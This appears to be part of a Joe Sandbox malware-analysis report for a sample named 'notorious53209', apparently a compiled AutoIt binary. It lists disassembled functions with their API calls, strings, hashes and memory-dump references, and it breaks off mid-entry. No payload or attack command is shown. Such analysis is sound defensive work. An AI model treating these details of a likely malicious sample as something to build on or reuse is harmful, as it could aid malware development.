Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: HeapInformationToken$AllocateErrorLastProcess
String ID:
API String ID: 47921759-0
Opcode ID: 5db9682db306efbd9dc10e363cd3c024ff191408923608484da2567dc004d7b5
Instruction ID: 9ff3c100bd0f5a2d72d9af9604fab7340ebe6d137f438e6a9c140d62188de86a
Opcode Fuzzy Hash: 5db9682db306efbd9dc10e363cd3c024ff191408923608484da2567dc004d7b5
Instruction Fuzzy Hash: 29F0C274211315BFEB112FA8EC8CE673BACEF89754B500525F909C21A0DB70DC60DB60

Function 0028C6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0028C6BA
GetWindowTextW.USER32(00000000,?,00000100), ref: 0028C6D1
MessageBeep.USER32(00000000), ref: 0028C6E9
KillTimer.USER32(?,0000040A), ref: 0028C705
EndDialog.USER32(?,00000001), ref: 0028C71F

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: c800b45cabe81a8a03a51c737b835e4977756407335002e943d87aefc8bf313c
Instruction ID: cd6a3999876aeedcd53e452a0306a5c1279054279442cb63c134c61e0be84c60
Opcode Fuzzy Hash: c800b45cabe81a8a03a51c737b835e4977756407335002e943d87aefc8bf313c
Instruction Fuzzy Hash: 69016274521704ABEB616F24ED8EF96B7BCFF00705F100669F552A14E1EBF0A9A48F90

Function 002313B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 002313BF
StrokeAndFillPath.GDI32(?), ref: 002313DB
SelectObject.GDI32(?,00000000), ref: 002313EE
DeleteObject.GDI32 ref: 00231401
StrokePath.GDI32(?), ref: 0023141C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: e339cfc0ccd986873e92f8de81a9648b2e5b4354a263bfda8366bede876072cf
Instruction ID: 5cf4655203d7ef1051595bf64f8160c5bc2c58fd863e8aed4f726ef09f775320
Opcode Fuzzy Hash: e339cfc0ccd986873e92f8de81a9648b2e5b4354a263bfda8366bede876072cf
Instruction Fuzzy Hash: 02F0C971014209EBDB515F2AFD0C7683BA4EB013B6F048238E529550F1C73289A9DF60

Function 00288E74 Relevance: 7.5, APIs: 5, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00288E7F
CloseHandle.KERNEL32(?), ref: 00288E94
CloseHandle.KERNEL32(?), ref: 00288E9C
GetProcessHeap.KERNEL32(00000000,?), ref: 00288EA5
HeapFree.KERNEL32(00000000), ref: 00288EAC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessSingleWait
String ID:
API String ID: 3751786701-0
Opcode ID: d7742c56d71bac62a6dc5b8f4369688ce4e7428b28d63ea1c3b72134efa042c3
Instruction ID: 5777163c2a075cab07b40c7db55dcf851ef9979d731b9c538dc28ace346876c9
Opcode Fuzzy Hash: d7742c56d71bac62a6dc5b8f4369688ce4e7428b28d63ea1c3b72134efa042c3
Instruction Fuzzy Hash: 57E0C276004001FBDA411FE5FE0C90ABBA9FB89322B148730F21981070CB329420DB50

Function 00242E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00250FF6: std::exception::exception.LIBCMT ref: 0025102C
Part of subcall function 00250FF6: __CxxThrowException@8.LIBCMT ref: 00251041

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 00237BB1: _memmove.LIBCMT ref: 00237C0B

__swprintf.LIBCMT ref: 0024302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00242EC6

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 3157ee01b81fd894a84ca0541b1cf0f6f76dec6883fcf488df91e097595e969f
Instruction ID: 2be626fb524a5d51f1db2da5018245d5fd2ac13c41a02b25e39d688493543527
Opcode Fuzzy Hash: 3157ee01b81fd894a84ca0541b1cf0f6f76dec6883fcf488df91e097595e969f
Instruction Fuzzy Hash: 4E919FB11287029FCB28EF24D885D6EB7B4EF45710F00491DF886972A1DA70EE68CF52

Function 0028B7B6 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 241comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 0028B981

Strings

Container, xrefs: 0028B8FE
AutoIt3GUI, xrefs: 0028B8F9
%,, xrefs: 0028BA24

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container$%,
API String ID: 3565006973-3233391797
Opcode ID: 65f6a736ad7ed8692bba538ae0232e6104985549d5a6e3ffa044ccb7aa9b4a5a
Instruction ID: 9c834e89f3163b8da08acceb3de16889c51d8a3e5d823cecf829181497b4b274
Opcode Fuzzy Hash: 65f6a736ad7ed8692bba538ae0232e6104985549d5a6e3ffa044ccb7aa9b4a5a
Instruction Fuzzy Hash: 8E916B746212029FDB25DF28C884B6AB7F8FF49710F24856EF94ACB691DB70E854CB50

Function 0025524D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 002552DD

Part of subcall function 00260340: __87except.LIBCMT ref: 0026037B

Strings

pow, xrefs: 002552B5, 002552D2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: ce31c5703fffbe1db780e85bbdbc4044dbb72202ef085f055a7073f5b6703431
Instruction ID: 2d52df8d017c38076665ba0591356ee0b8656fc13793d40c5382df728e98700a
Opcode Fuzzy Hash: ce31c5703fffbe1db780e85bbdbc4044dbb72202ef085f055a7073f5b6703431
Instruction Fuzzy Hash: B1517B21A3860397C7217F14D9A537F2B909B00352F204999EC99812E5EFB48CF8EF49

Function 0025023B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00250280
+, xrefs: 00250277

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: ae3996132efe73792219b25303d31a10338d6bfeb9f104ae8debaa6b17bf93ac
Instruction ID: f6a77addb470c31c73024bc2d91f99069515875ca0997fca5b156960a2fe0499
Opcode Fuzzy Hash: ae3996132efe73792219b25303d31a10338d6bfeb9f104ae8debaa6b17bf93ac
Instruction Fuzzy Hash: 49514379526666DFCF25EF28C888AFA7BA4EF15310F144095EC919B2E0C7309C66CB60

Function 00243297 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002433D7
_memmove.LIBCMT ref: 00243470
_free.LIBCMT ref: 00243496
_memmove.LIBCMT ref: 00243549

Strings

Oa$, xrefs: 00243482

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove$_free
String ID: Oa$
API String ID: 2620147621-3294801368
Opcode ID: 06319e984518f3072ae285ae97ab156dd5904a267d433193fee48863f90fcdb9
Instruction ID: 4243148f1e6124f58388cd136ea4d380e4936d5c5eba26a5ccf0bdeca05a1b4c
Opcode Fuzzy Hash: 06319e984518f3072ae285ae97ab156dd5904a267d433193fee48863f90fcdb9
Instruction Fuzzy Hash: 3F516D719283429FDB28CF28C44172BBBE5BF89314F54492DE89987351DB31D925CF82

Function 002462F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002463A8
_memmove.LIBCMT ref: 00246446
_memset.LIBCMT ref: 0024646A

Strings

ERCP, xrefs: 00246313

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 7aede18cd8caa10cb6e06249a0550da1686fdd4ab0298b65745ced90f1a04e68
Instruction ID: 642f63dc23869e14205ff27376f000c66983d7325a492c48d74ea82717c7c4dc
Opcode Fuzzy Hash: 7aede18cd8caa10cb6e06249a0550da1686fdd4ab0298b65745ced90f1a04e68
Instruction Fuzzy Hash: 6251C77192070A9BDB28CF55C8897ABBBF4FF04714F10456EE94AC7281E77095A5CB41

Function 002B7648 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 002B76D0
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 002B76E4
SendMessageW.USER32(?,00001002,00000000,?), ref: 002B7708

Strings

SysMonthCal32, xrefs: 002B769B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 21b9d87f5912f39f9b5b84c71137ccc6cc163e70d8266fb325ca4953e6360ecd
Instruction ID: a4ce9ed2d39930076ed39072d4fb4b09918572bcbe84922b8c4da904ab6c21e6
Opcode Fuzzy Hash: 21b9d87f5912f39f9b5b84c71137ccc6cc163e70d8266fb325ca4953e6360ecd
Instruction Fuzzy Hash: F321A332524219BBDF12CF64DC46FEA3B79EF89754F110214FE156B1D0DAB1AC609BA0

Function 002B6F1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 002B6FAA
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 002B6FBA
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 002B6FDF

Strings

Listbox, xrefs: 002B6F77

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 4f59b6b103c4eaa017b64e6d5121eb0a73d2c9a4798ee6142b642f377144bc04
Instruction ID: 227e2bcb87ef030785b30c434c4d4e7ef5049308f753a3da465f8cafcf2acf7c
Opcode Fuzzy Hash: 4f59b6b103c4eaa017b64e6d5121eb0a73d2c9a4798ee6142b642f377144bc04
Instruction Fuzzy Hash: 9F21C9326201197FDF118F54EC89FFB376AEF89794F018124F91597590C675AC61CBA0

Function 002B797D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 002B79E1
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 002B79F6
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 002B7A03

Strings

msctls_trackbar32, xrefs: 002B79B8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 0c6d7eed0e495c095fcb4e14af71871f945821521570d27f6e4cf6f6037b4627
Instruction ID: c7be028253d2df362c3d43c20a72f14aa63a8e900e4249bc9e74bb94a825f27e
Opcode Fuzzy Hash: 0c6d7eed0e495c095fcb4e14af71871f945821521570d27f6e4cf6f6037b4627
Instruction Fuzzy Hash: FC110672264209BBEF119F70CC05FEB77ADEFC9BA4F010529FA51A6090D271E861DB60

Function 002AC304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 002AC312
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW,?,00271D88,?), ref: 002AC324

Strings

kernel32.dll, xrefs: 002AC30D
GetSystemWow64DirectoryW, xrefs: 002AC31E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 5688fd4598d0a3a73aafd6fdb0fa3c0368a77156c8b470f95abe6f42c7ab6c6e
Instruction ID: 0da938c90c0c393996910fc44104ebdbcb1c937c84449f1d58a5f8e43d78fb81
Opcode Fuzzy Hash: 5688fd4598d0a3a73aafd6fdb0fa3c0368a77156c8b470f95abe6f42c7ab6c6e
Instruction Fuzzy Hash: 8CE08C70230303CFCF214F29DC08A86B6D8EB1E354B90C879E899D6220EB70D8A0CA60

Function 00234C95 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00234CA3
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo,?,00234C2E), ref: 00234CB5

Strings

GetNativeSystemInfo, xrefs: 00234CAF
kernel32.dll, xrefs: 00234C9E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 5af698a8009352a043556a9f4070e1a18200725ca3c9e02f9e83c529ff364eef
Instruction ID: 64fe396e71cd0dae5fc0f6631f6dee68b389f72d33c07a93862a4f6ba70ad0ee
Opcode Fuzzy Hash: 5af698a8009352a043556a9f4070e1a18200725ca3c9e02f9e83c529ff364eef
Instruction Fuzzy Hash: CCD0C770530323CFCB20AF38EF1864272E8AF0A780F10CC3AD89AC2150E670E890CA20

Function 00234D61 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00234D6F
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection,?,002F62F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00234D81

Strings

kernel32.dll, xrefs: 00234D6A
Wow64DisableWow64FsRedirection, xrefs: 00234D7B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
